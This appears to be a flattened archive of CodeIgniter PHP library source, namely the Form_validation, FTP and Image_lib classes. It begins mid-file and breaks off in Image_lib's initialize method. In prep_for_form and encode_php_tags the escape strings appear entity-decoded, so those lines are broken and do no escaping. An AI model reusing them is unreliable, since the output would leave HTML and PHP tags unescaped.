= $this->CI->$rule($postdata, $param); } } else { $result = is_array($rule) ? $rule[0]->{$rule[1]}($postdata) : $rule($postdata); // Is $callable set to a rule name? if ($callable !== FALSE) { $rule = $callable; } } // Re-assign the result to the master data array if ($_in_array === TRUE) { $this->_field_data[$row['field']]['postdata'][$cycles] = is_bool($result) ? $postdata : $result; } else { $this->_field_data[$row['field']]['postdata'] = is_bool($result) ? $postdata : $result; } } elseif ( ! method_exists($this, $rule)) { // If our own wrapper function doesn't exist we see if a native PHP function does. // Users can use any native PHP function call that has one param. if (function_exists($rule)) { // Native PHP functions issue warnings if you pass them more parameters than they use $result = ($param !== FALSE) ? $rule($postdata, $param) : $rule($postdata); if ($_in_array === TRUE) { $this->_field_data[$row['field']]['postdata'][$cycles] = is_bool($result) ? $postdata : $result; } else { $this->_field_data[$row['field']]['postdata'] = is_bool($result) ? $postdata : $result; } } else { log_message('debug', 'Unable to find validation rule: '.$rule); $result = FALSE; } } else { $result = $this->$rule($postdata, $param); if ($_in_array === TRUE) { $this->_field_data[$row['field']]['postdata'][$cycles] = is_bool($result) ? $postdata : $result; } else { $this->_field_data[$row['field']]['postdata'] = is_bool($result) ? $postdata : $result; } } // Did the rule test negatively? If so, grab the error. if ($result === FALSE) { // Callable rules might not have named error messages if ( ! is_string($rule)) { $line = $this->CI->lang->line('form_validation_error_message_not_set').'(Anonymous function)'; } else { $line = $this->_get_error_message($rule, $row['field']); } // Is the parameter we are inserting into the error message the name // of another field? If so we need to grab its "field label" if (isset($this->_field_data[$param], $this->_field_data[$param]['label'])) { $param = $this->_translate_fieldname($this->_field_data[$param]['label']); } // Build the error message $message = $this->_build_error_msg($line, $this->_translate_fieldname($row['label']), $param); // Save the error message $this->_field_data[$row['field']]['error'] = $message; if ( ! isset($this->_error_array[$row['field']])) { $this->_error_array[$row['field']] = $message; } return; } } } // -------------------------------------------------------------------- /** * Get the error message for the rule * * @param string $rule The rule name * @param string $field The field name * @return string */ protected function _get_error_message($rule, $field) { // check if a custom message is defined through validation config row. if (isset($this->_field_data[$field]['errors'][$rule])) { return $this->_field_data[$field]['errors'][$rule]; } // check if a custom message has been set using the set_message() function elseif (isset($this->_error_messages[$rule])) { return $this->_error_messages[$rule]; } elseif (FALSE !== ($line = $this->CI->lang->line('form_validation_'.$rule))) { return $line; } // DEPRECATED support for non-prefixed keys, lang file again elseif (FALSE !== ($line = $this->CI->lang->line($rule, FALSE))) { return $line; } return $this->CI->lang->line('form_validation_error_message_not_set').'('.$rule.')'; } // -------------------------------------------------------------------- /** * Translate a field name * * @param string the field name * @return string */ protected function _translate_fieldname($fieldname) { // Do we need to translate the field name? We look for the prefix 'lang:' to determine this // If we find one, but there's no translation for the string - just return it if (sscanf($fieldname, 'lang:%s', $line) === 1 && FALSE === ($fieldname = $this->CI->lang->line($line, FALSE))) { return $line; } return $fieldname; } // -------------------------------------------------------------------- /** * Build an error message using the field and param. * * @param string The error message line * @param string A field's human name * @param mixed A rule's optional parameter * @return string */ protected function _build_error_msg($line, $field = '', $param = '') { // Check for %s in the string for legacy support. if (strpos($line, '%s') !== FALSE) { return sprintf($line, $field, $param); } return str_replace(array('{field}', '{param}'), array($field, $param), $line); } // -------------------------------------------------------------------- /** * Checks if the rule is present within the validator * * Permits you to check if a rule is present within the validator * * @param string the field name * @return bool */ public function has_rule($field) { return isset($this->_field_data[$field]); } // -------------------------------------------------------------------- /** * Get the value from a form * * Permits you to repopulate a form field with the value it was submitted * with, or, if that value doesn't exist, with the default * * @param string the field name * @param string * @return string */ public function set_value($field = '', $default = '') { if ( ! isset($this->_field_data[$field], $this->_field_data[$field]['postdata'])) { return $default; } // If the data is an array output them one at a time. // E.g: form_input('name[]', set_value('name[]'); if (is_array($this->_field_data[$field]['postdata'])) { return array_shift($this->_field_data[$field]['postdata']); } return $this->_field_data[$field]['postdata']; } // -------------------------------------------------------------------- /** * Set Select * * Enables pull-down lists to be set to the value the user * selected in the event of an error * * @param string * @param string * @param bool * @return string */ public function set_select($field = '', $value = '', $default = FALSE) { if ( ! isset($this->_field_data[$field], $this->_field_data[$field]['postdata'])) { return ($default === TRUE && count($this->_field_data) === 0) ? ' selected="selected"' : ''; } $field = $this->_field_data[$field]['postdata']; $value = (string) $value; if (is_array($field)) { // Note: in_array('', array(0)) returns TRUE, do not use it foreach ($field as &$v) { if ($value === $v) { return ' selected="selected"'; } } return ''; } elseif (($field === '' OR $value === '') OR ($field !== $value)) { return ''; } return ' selected="selected"'; } // -------------------------------------------------------------------- /** * Set Radio * * Enables radio buttons to be set to the value the user * selected in the event of an error * * @param string * @param string * @param bool * @return string */ public function set_radio($field = '', $value = '', $default = FALSE) { if ( ! isset($this->_field_data[$field], $this->_field_data[$field]['postdata'])) { return ($default === TRUE && count($this->_field_data) === 0) ? ' checked="checked"' : ''; } $field = $this->_field_data[$field]['postdata']; $value = (string) $value; if (is_array($field)) { // Note: in_array('', array(0)) returns TRUE, do not use it foreach ($field as &$v) { if ($value === $v) { return ' checked="checked"'; } } return ''; } elseif (($field === '' OR $value === '') OR ($field !== $value)) { return ''; } return ' checked="checked"'; } // -------------------------------------------------------------------- /** * Set Checkbox * * Enables checkboxes to be set to the value the user * selected in the event of an error * * @param string * @param string * @param bool * @return string */ public function set_checkbox($field = '', $value = '', $default = FALSE) { // Logic is exactly the same as for radio fields return $this->set_radio($field, $value, $default); } // -------------------------------------------------------------------- /** * Required * * @param string * @return bool */ public function required($str) { return is_array($str) ? (empty($str) === FALSE) : (trim($str) !== ''); } // -------------------------------------------------------------------- /** * Performs a Regular Expression match test. * * @param string * @param string regex * @return bool */ public function regex_match($str, $regex) { return (bool) preg_match($regex, $str); } // -------------------------------------------------------------------- /** * Match one field to another * * @param string $str string to compare against * @param string $field * @return bool */ public function matches($str, $field) { return isset($this->_field_data[$field], $this->_field_data[$field]['postdata']) ? ($str === $this->_field_data[$field]['postdata']) : FALSE; } // -------------------------------------------------------------------- /** * Differs from another field * * @param string * @param string field * @return bool */ public function differs($str, $field) { return ! (isset($this->_field_data[$field]) && $this->_field_data[$field]['postdata'] === $str); } // -------------------------------------------------------------------- /** * Is Unique * * Check if the input value doesn't already exist * in the specified database field. * * @param string $str * @param string $field * @return bool */ public function is_unique($str, $field) { sscanf($field, '%[^.].%[^.]', $table, $field); return isset($this->CI->db) ? ($this->CI->db->limit(1)->get_where($table, array($field => $str))->num_rows() === 0) : FALSE; } // -------------------------------------------------------------------- /** * Minimum Length * * @param string * @param string * @return bool */ public function min_length($str, $val) { if ( ! is_numeric($val)) { return FALSE; } return ($val <= mb_strlen($str)); } // -------------------------------------------------------------------- /** * Max Length * * @param string * @param string * @return bool */ public function max_length($str, $val) { if ( ! is_numeric($val)) { return FALSE; } return ($val >= mb_strlen($str)); } // -------------------------------------------------------------------- /** * Exact Length * * @param string * @param string * @return bool */ public function exact_length($str, $val) { if ( ! is_numeric($val)) { return FALSE; } return (mb_strlen($str) === (int) $val); } // -------------------------------------------------------------------- /** * Valid URL * * @param string $str * @return bool */ public function valid_url($str) { if (empty($str)) { return FALSE; } elseif (preg_match('/^(?:([^:]*)\:)?\/\/(.+)$/', $str, $matches)) { if (empty($matches[2])) { return FALSE; } elseif ( ! in_array(strtolower($matches[1]), array('http', 'https'), TRUE)) { return FALSE; } $str = $matches[2]; } // PHP 7 accepts IPv6 addresses within square brackets as hostnames, // but it appears that the PR that came in with https://bugs.php.net/bug.php?id=68039 // was never merged into a PHP 5 branch ... https://3v4l.org/8PsSN if (preg_match('/^\[([^\]]+)\]/', $str, $matches) && ! is_php('7') && filter_var($matches[1], FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== FALSE) { $str = 'ipv6.host'.substr($str, strlen($matches[1]) + 2); } return (filter_var('http://'.$str, FILTER_VALIDATE_URL) !== FALSE); } // -------------------------------------------------------------------- /** * Valid Email * * @param string * @return bool */ public function valid_email($str) { if (function_exists('idn_to_ascii') && sscanf($str, '%[^@]@%s', $name, $domain) === 2) { $str = $name.'@'.idn_to_ascii($domain); } return (bool) filter_var($str, FILTER_VALIDATE_EMAIL); } // -------------------------------------------------------------------- /** * Valid Emails * * @param string * @return bool */ public function valid_emails($str) { if (strpos($str, ',') === FALSE) { return $this->valid_email(trim($str)); } foreach (explode(',', $str) as $email) { if (trim($email) !== '' && $this->valid_email(trim($email)) === FALSE) { return FALSE; } } return TRUE; } // -------------------------------------------------------------------- /** * Validate IP Address * * @param string * @param string 'ipv4' or 'ipv6' to validate a specific IP format * @return bool */ public function valid_ip($ip, $which = '') { return $this->CI->input->valid_ip($ip, $which); } // -------------------------------------------------------------------- /** * Alpha * * @param string * @return bool */ public function alpha($str) { return ctype_alpha($str); } // -------------------------------------------------------------------- /** * Alpha-numeric * * @param string * @return bool */ public function alpha_numeric($str) { return ctype_alnum((string) $str); } // -------------------------------------------------------------------- /** * Alpha-numeric w/ spaces * * @param string * @return bool */ public function alpha_numeric_spaces($str) { return (bool) preg_match('/^[A-Z0-9 ]+$/i', $str); } // -------------------------------------------------------------------- /** * Alpha-numeric with underscores and dashes * * @param string * @return bool */ public function alpha_dash($str) { return (bool) preg_match('/^[a-z0-9_-]+$/i', $str); } // -------------------------------------------------------------------- /** * Numeric * * @param string * @return bool */ public function numeric($str) { return (bool) preg_match('/^[\-+]?[0-9]*\.?[0-9]+$/', $str); } // -------------------------------------------------------------------- /** * Integer * * @param string * @return bool */ public function integer($str) { return (bool) preg_match('/^[\-+]?[0-9]+$/', $str); } // -------------------------------------------------------------------- /** * Decimal number * * @param string * @return bool */ public function decimal($str) { return (bool) preg_match('/^[\-+]?[0-9]+\.[0-9]+$/', $str); } // -------------------------------------------------------------------- /** * Greater than * * @param string * @param int * @return bool */ public function greater_than($str, $min) { return is_numeric($str) ? ($str > $min) : FALSE; } // -------------------------------------------------------------------- /** * Equal to or Greater than * * @param string * @param int * @return bool */ public function greater_than_equal_to($str, $min) { return is_numeric($str) ? ($str >= $min) : FALSE; } // -------------------------------------------------------------------- /** * Less than * * @param string * @param int * @return bool */ public function less_than($str, $max) { return is_numeric($str) ? ($str < $max) : FALSE; } // -------------------------------------------------------------------- /** * Equal to or Less than * * @param string * @param int * @return bool */ public function less_than_equal_to($str, $max) { return is_numeric($str) ? ($str <= $max) : FALSE; } // -------------------------------------------------------------------- /** * Value should be within an array of values * * @param string * @param string * @return bool */ public function in_list($value, $list) { return in_array($value, explode(',', $list), TRUE); } // -------------------------------------------------------------------- /** * Is a Natural number (0,1,2,3, etc.) * * @param string * @return bool */ public function is_natural($str) { return ctype_digit((string) $str); } // -------------------------------------------------------------------- /** * Is a Natural number, but not a zero (1,2,3, etc.) * * @param string * @return bool */ public function is_natural_no_zero($str) { return ($str != 0 && ctype_digit((string) $str)); } // -------------------------------------------------------------------- /** * Valid Base64 * * Tests a string for characters outside of the Base64 alphabet * as defined by RFC 2045 http://www.faqs.org/rfcs/rfc2045 * * @param string * @return bool */ public function valid_base64($str) { return (base64_encode(base64_decode($str)) === $str); } // -------------------------------------------------------------------- /** * Prep data for form * * This function allows HTML to be safely shown in a form. * Special characters are converted. * * @deprecated 3.0.6 Not used anywhere within the framework and pretty much useless * @param mixed $data Input data * @return mixed */ public function prep_for_form($data) { if ($this->_safe_form_data === FALSE OR empty($data)) { return $data; } if (is_array($data)) { foreach ($data as $key => $val) { $data[$key] = $this->prep_for_form($val); } return $data; } return str_replace(array("'", '"', '<', '>'), array(''', '"', '<', '>'), stripslashes($data)); } // -------------------------------------------------------------------- /** * Prep URL * * @param string * @return string */ public function prep_url($str = '') { if ($str === 'http://' OR $str === '') { return ''; } if (strpos($str, 'http://') !== 0 && strpos($str, 'https://') !== 0) { return 'http://'.$str; } return $str; } // -------------------------------------------------------------------- /** * Strip Image Tags * * @param string * @return string */ public function strip_image_tags($str) { return $this->CI->security->strip_image_tags($str); } // -------------------------------------------------------------------- /** * Convert PHP tags to entities * * @param string * @return string */ public function encode_php_tags($str) { return str_replace(array('<?', '?>'), array('<?', '?>'), $str); } // -------------------------------------------------------------------- /** * Reset validation vars * * Prevents subsequent validation routines from being affected by the * results of any previous validation routine due to the CI singleton. * * @return CI_Form_validation */ public function reset_validation() { $this->_field_data = array(); $this->_error_array = array(); $this->_error_messages = array(); $this->error_string = ''; return $this; } } Ftp.php 0000775 00000032704 15060054572 0006025 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * FTP Class * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/ftp.html */ class CI_FTP { /** * FTP Server hostname * * @var string */ public $hostname = ''; /** * FTP Username * * @var string */ public $username = ''; /** * FTP Password * * @var string */ public $password = ''; /** * FTP Server port * * @var int */ public $port = 21; /** * Passive mode flag * * @var bool */ public $passive = TRUE; /** * Debug flag * * Specifies whether to display error messages. * * @var bool */ public $debug = FALSE; // -------------------------------------------------------------------- /** * Connection ID * * @var resource */ protected $conn_id; // -------------------------------------------------------------------- /** * Constructor * * @param array $config * @return void */ public function __construct($config = array()) { empty($config) OR $this->initialize($config); log_message('info', 'FTP Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize preferences * * @param array $config * @return void */ public function initialize($config = array()) { foreach ($config as $key => $val) { if (isset($this->$key)) { $this->$key = $val; } } // Prep the hostname $this->hostname = preg_replace('|.+?://|', '', $this->hostname); } // -------------------------------------------------------------------- /** * FTP Connect * * @param array $config Connection values * @return bool */ public function connect($config = array()) { if (count($config) > 0) { $this->initialize($config); } if (FALSE === ($this->conn_id = @ftp_connect($this->hostname, $this->port))) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_connect'); } return FALSE; } if ( ! $this->_login()) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_login'); } return FALSE; } // Set passive mode if needed if ($this->passive === TRUE) { ftp_pasv($this->conn_id, TRUE); } return TRUE; } // -------------------------------------------------------------------- /** * FTP Login * * @return bool */ protected function _login() { return @ftp_login($this->conn_id, $this->username, $this->password); } // -------------------------------------------------------------------- /** * Validates the connection ID * * @return bool */ protected function _is_conn() { if ( ! is_resource($this->conn_id)) { if ($this->debug === TRUE) { $this->_error('ftp_no_connection'); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Change directory * * The second parameter lets us momentarily turn off debugging so that * this function can be used to test for the existence of a folder * without throwing an error. There's no FTP equivalent to is_dir() * so we do it by trying to change to a particular directory. * Internally, this parameter is only used by the "mirror" function below. * * @param string $path * @param bool $suppress_debug * @return bool */ public function changedir($path, $suppress_debug = FALSE) { if ( ! $this->_is_conn()) { return FALSE; } $result = @ftp_chdir($this->conn_id, $path); if ($result === FALSE) { if ($this->debug === TRUE && $suppress_debug === FALSE) { $this->_error('ftp_unable_to_changedir'); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Create a directory * * @param string $path * @param int $permissions * @return bool */ public function mkdir($path, $permissions = NULL) { if ($path === '' OR ! $this->_is_conn()) { return FALSE; } $result = @ftp_mkdir($this->conn_id, $path); if ($result === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_mkdir'); } return FALSE; } // Set file permissions if needed if ($permissions !== NULL) { $this->chmod($path, (int) $permissions); } return TRUE; } // -------------------------------------------------------------------- /** * Upload a file to the server * * @param string $locpath * @param string $rempath * @param string $mode * @param int $permissions * @return bool */ public function upload($locpath, $rempath, $mode = 'auto', $permissions = NULL) { if ( ! $this->_is_conn()) { return FALSE; } if ( ! file_exists($locpath)) { $this->_error('ftp_no_source_file'); return FALSE; } // Set the mode if not specified if ($mode === 'auto') { // Get the file extension so we can set the upload type $ext = $this->_getext($locpath); $mode = $this->_settype($ext); } $mode = ($mode === 'ascii') ? FTP_ASCII : FTP_BINARY; $result = @ftp_put($this->conn_id, $rempath, $locpath, $mode); if ($result === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_upload'); } return FALSE; } // Set file permissions if needed if ($permissions !== NULL) { $this->chmod($rempath, (int) $permissions); } return TRUE; } // -------------------------------------------------------------------- /** * Download a file from a remote server to the local server * * @param string $rempath * @param string $locpath * @param string $mode * @return bool */ public function download($rempath, $locpath, $mode = 'auto') { if ( ! $this->_is_conn()) { return FALSE; } // Set the mode if not specified if ($mode === 'auto') { // Get the file extension so we can set the upload type $ext = $this->_getext($rempath); $mode = $this->_settype($ext); } $mode = ($mode === 'ascii') ? FTP_ASCII : FTP_BINARY; $result = @ftp_get($this->conn_id, $locpath, $rempath, $mode); if ($result === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_download'); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Rename (or move) a file * * @param string $old_file * @param string $new_file * @param bool $move * @return bool */ public function rename($old_file, $new_file, $move = FALSE) { if ( ! $this->_is_conn()) { return FALSE; } $result = @ftp_rename($this->conn_id, $old_file, $new_file); if ($result === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_'.($move === FALSE ? 'rename' : 'move')); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Move a file * * @param string $old_file * @param string $new_file * @return bool */ public function move($old_file, $new_file) { return $this->rename($old_file, $new_file, TRUE); } // -------------------------------------------------------------------- /** * Rename (or move) a file * * @param string $filepath * @return bool */ public function delete_file($filepath) { if ( ! $this->_is_conn()) { return FALSE; } $result = @ftp_delete($this->conn_id, $filepath); if ($result === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_delete'); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Delete a folder and recursively delete everything (including sub-folders) * contained within it. * * @param string $filepath * @return bool */ public function delete_dir($filepath) { if ( ! $this->_is_conn()) { return FALSE; } // Add a trailing slash to the file path if needed $filepath = preg_replace('/(.+?)\/*$/', '\\1/', $filepath); $list = $this->list_files($filepath); if ( ! empty($list)) { for ($i = 0, $c = count($list); $i < $c; $i++) { // If we can't delete the item it's probaly a directory, // so we'll recursively call delete_dir() if ( ! preg_match('#/\.\.?$#', $list[$i]) && ! @ftp_delete($this->conn_id, $list[$i])) { $this->delete_dir($filepath.$list[$i]); } } } if (@ftp_rmdir($this->conn_id, $filepath) === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_delete'); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Set file permissions * * @param string $path File path * @param int $perm Permissions * @return bool */ public function chmod($path, $perm) { if ( ! $this->_is_conn()) { return FALSE; } if (@ftp_chmod($this->conn_id, $perm, $path) === FALSE) { if ($this->debug === TRUE) { $this->_error('ftp_unable_to_chmod'); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * FTP List files in the specified directory * * @param string $path * @return array */ public function list_files($path = '.') { return $this->_is_conn() ? ftp_nlist($this->conn_id, $path) : FALSE; } // ------------------------------------------------------------------------ /** * Read a directory and recreate it remotely * * This function recursively reads a folder and everything it contains * (including sub-folders) and creates a mirror via FTP based on it. * Whatever the directory structure of the original file path will be * recreated on the server. * * @param string $locpath Path to source with trailing slash * @param string $rempath Path to destination - include the base folder with trailing slash * @return bool */ public function mirror($locpath, $rempath) { if ( ! $this->_is_conn()) { return FALSE; } // Open the local file path if ($fp = @opendir($locpath)) { // Attempt to open the remote file path and try to create it, if it doesn't exist if ( ! $this->changedir($rempath, TRUE) && ( ! $this->mkdir($rempath) OR ! $this->changedir($rempath))) { return FALSE; } // Recursively read the local directory while (FALSE !== ($file = readdir($fp))) { if (is_dir($locpath.$file) && $file[0] !== '.') { $this->mirror($locpath.$file.'/', $rempath.$file.'/'); } elseif ($file[0] !== '.') { // Get the file extension so we can se the upload type $ext = $this->_getext($file); $mode = $this->_settype($ext); $this->upload($locpath.$file, $rempath.$file, $mode); } } return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Extract the file extension * * @param string $filename * @return string */ protected function _getext($filename) { return (($dot = strrpos($filename, '.')) === FALSE) ? 'txt' : substr($filename, $dot + 1); } // -------------------------------------------------------------------- /** * Set the upload type * * @param string $ext Filename extension * @return string */ protected function _settype($ext) { return in_array($ext, array('txt', 'text', 'php', 'phps', 'php4', 'js', 'css', 'htm', 'html', 'phtml', 'shtml', 'log', 'xml'), TRUE) ? 'ascii' : 'binary'; } // ------------------------------------------------------------------------ /** * Close the connection * * @return bool */ public function close() { return $this->_is_conn() ? @ftp_close($this->conn_id) : FALSE; } // ------------------------------------------------------------------------ /** * Display error message * * @param string $line * @return void */ protected function _error($line) { $CI =& get_instance(); $CI->lang->load('ftp'); show_error($CI->lang->line($line)); } } Image_lib.php 0000775 00000123233 15060054572 0007142 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Image Manipulation class * * @package CodeIgniter * @subpackage Libraries * @category Image_lib * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/image_lib.html */ class CI_Image_lib { /** * PHP extension/library to use for image manipulation * Can be: imagemagick, netpbm, gd, gd2 * * @var string */ public $image_library = 'gd2'; /** * Path to the graphic library (if applicable) * * @var string */ public $library_path = ''; /** * Whether to send to browser or write to disk * * @var bool */ public $dynamic_output = FALSE; /** * Path to original image * * @var string */ public $source_image = ''; /** * Path to the modified image * * @var string */ public $new_image = ''; /** * Image width * * @var int */ public $width = ''; /** * Image height * * @var int */ public $height = ''; /** * Quality percentage of new image * * @var int */ public $quality = 90; /** * Whether to create a thumbnail * * @var bool */ public $create_thumb = FALSE; /** * String to add to thumbnail version of image * * @var string */ public $thumb_marker = '_thumb'; /** * Whether to maintain aspect ratio when resizing or use hard values * * @var bool */ public $maintain_ratio = TRUE; /** * auto, height, or width. Determines what to use as the master dimension * * @var string */ public $master_dim = 'auto'; /** * Angle at to rotate image * * @var string */ public $rotation_angle = ''; /** * X Coordinate for manipulation of the current image * * @var int */ public $x_axis = ''; /** * Y Coordinate for manipulation of the current image * * @var int */ public $y_axis = ''; // -------------------------------------------------------------------------- // Watermark Vars // -------------------------------------------------------------------------- /** * Watermark text if graphic is not used * * @var string */ public $wm_text = ''; /** * Type of watermarking. Options: text/overlay * * @var string */ public $wm_type = 'text'; /** * Default transparency for watermark * * @var int */ public $wm_x_transp = 4; /** * Default transparency for watermark * * @var int */ public $wm_y_transp = 4; /** * Watermark image path * * @var string */ public $wm_overlay_path = ''; /** * TT font * * @var string */ public $wm_font_path = ''; /** * Font size (different versions of GD will either use points or pixels) * * @var int */ public $wm_font_size = 17; /** * Vertical alignment: T M B * * @var string */ public $wm_vrt_alignment = 'B'; /** * Horizontal alignment: L R C * * @var string */ public $wm_hor_alignment = 'C'; /** * Padding around text * * @var int */ public $wm_padding = 0; /** * Lets you push text to the right * * @var int */ public $wm_hor_offset = 0; /** * Lets you push text down * * @var int */ public $wm_vrt_offset = 0; /** * Text color * * @var string */ protected $wm_font_color = '#ffffff'; /** * Dropshadow color * * @var string */ protected $wm_shadow_color = ''; /** * Dropshadow distance * * @var int */ public $wm_shadow_distance = 2; /** * Image opacity: 1 - 100 Only works with image * * @var int */ public $wm_opacity = 50; // -------------------------------------------------------------------------- // Private Vars // -------------------------------------------------------------------------- /** * Source image folder * * @var string */ public $source_folder = ''; /** * Destination image folder * * @var string */ public $dest_folder = ''; /** * Image mime-type * * @var string */ public $mime_type = ''; /** * Original image width * * @var int */ public $orig_width = ''; /** * Original image height * * @var int */ public $orig_height = ''; /** * Image format * * @var string */ public $image_type = ''; /** * Size of current image * * @var string */ public $size_str = ''; /** * Full path to source image * * @var string */ public $full_src_path = ''; /** * Full path to destination image * * @var string */ public $full_dst_path = ''; /** * File permissions * * @var int */ public $file_permissions = 0644; /** * Name of function to create image * * @var string */ public $create_fnc = 'imagecreatetruecolor'; /** * Name of function to copy image * * @var string */ public $copy_fnc = 'imagecopyresampled'; /** * Error messages * * @var array */ public $error_msg = array(); /** * Whether to have a drop shadow on watermark * * @var bool */ protected $wm_use_drop_shadow = FALSE; /** * Whether to use truetype fonts * * @var bool */ public $wm_use_truetype = FALSE; /** * Initialize Image Library * * @param array $props * @return void */ public function __construct($props = array()) { if (count($props) > 0) { $this->initialize($props); } log_message('info', 'Image Lib Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize image properties * * Resets values in case this class is used in a loop * * @return void */ public function clear() { $props = array('thumb_marker', 'library_path', 'source_image', 'new_image', 'width', 'height', 'rotation_angle', 'x_axis', 'y_axis', 'wm_text', 'wm_overlay_path', 'wm_font_path', 'wm_shadow_color', 'source_folder', 'dest_folder', 'mime_type', 'orig_width', 'orig_height', 'image_type', 'size_str', 'full_src_path', 'full_dst_path'); foreach ($props as $val) { $this->$val = ''; } $this->image_library = 'gd2'; $this->dynamic_output = FALSE; $this->quality = 90; $this->create_thumb = FALSE; $this->thumb_marker = '_thumb'; $this->maintain_ratio = TRUE; $this->master_dim = 'auto'; $this->wm_type = 'text'; $this->wm_x_transp = 4; $this->wm_y_transp = 4; $this->wm_font_size = 17; $this->wm_vrt_alignment = 'B'; $this->wm_hor_alignment = 'C'; $this->wm_padding = 0; $this->wm_hor_offset = 0; $this->wm_vrt_offset = 0; $this->wm_font_color = '#ffffff'; $this->wm_shadow_distance = 2; $this->wm_opacity = 50; $this->create_fnc = 'imagecreatetruecolor'; $this->copy_fnc = 'imagecopyresampled'; $this->error_msg = array(); $this->wm_use_drop_shadow = FALSE; $this->wm_use_truetype = FALSE; } // -------------------------------------------------------------------- /** * initialize image preferences * * @param array * @return bool */ public function initialize($props = array()) { // Convert array elements into class variables if (count($props) > 0) { foreach ($props as $key => $val) { if (property_exists($this, $key)) { if (in_array($key, array('wm_font_color', 'wm_shadow_color'), TRUE)) { if (preg_match('/^#?([0-9a-f]{3}|[0-9a-f]{6})$/i', $val, $matches)) { /* $matches[1] contains our hex color value, but it might be * both in the full 6-length format or the shortened 3-length * value. * We'll later need the full version, so we keep it if it's * already there and if not - we'll convert to it. We can * access string characters by their index as in an array, * so we'll do that and use concatenation to form the final * value: */ $val = (strlen($matches[1]) === 6) ? '#'.$matches[1] : '#'.$matches[1][0].$matches[1][0].$matches[1][1].$matches[1][1].$matches[1][2].$matches[1][2]; } else { continue; } } elseif (in_array($key, array('width', 'height'), TRUE) && ! ctype_digit((string) $val)) { continue; } $this->$key = $val; } } } // Is there a source image? If not, there's no reason to continue if ($this->source_image === '') { $this->set_error('imglib_source_image_required'); return FALSE; } /* Is getimagesize() available? * * We use it to determine the image properties (width/height). * Note: We need to figure out how to determine image * properties using ImageMagick and NetPBM */ if ( ! function_exists('getimagesize')) { $this->set_error('imglib_gd_required_for_props'); return FALSE; } $this->image_library = strtolower($this->image_library); /* Set the full server path * * The source image may or may not contain a path. * Either way, we'll try use realpath to generate the * full server path in order to more reliably read it. */ if (($full_source_path = realpath($this->source_image)) !== FALSE) { $full_source_path = str_replace('\\', '/', $full_source_path); } else { $full_source_path = $this->source_image; } $x = explode('/', $full_source_path); $this->source_image = end($x); $this->source_folder = str_replace($this->source_image, '', $full_source_path); // Set the Image 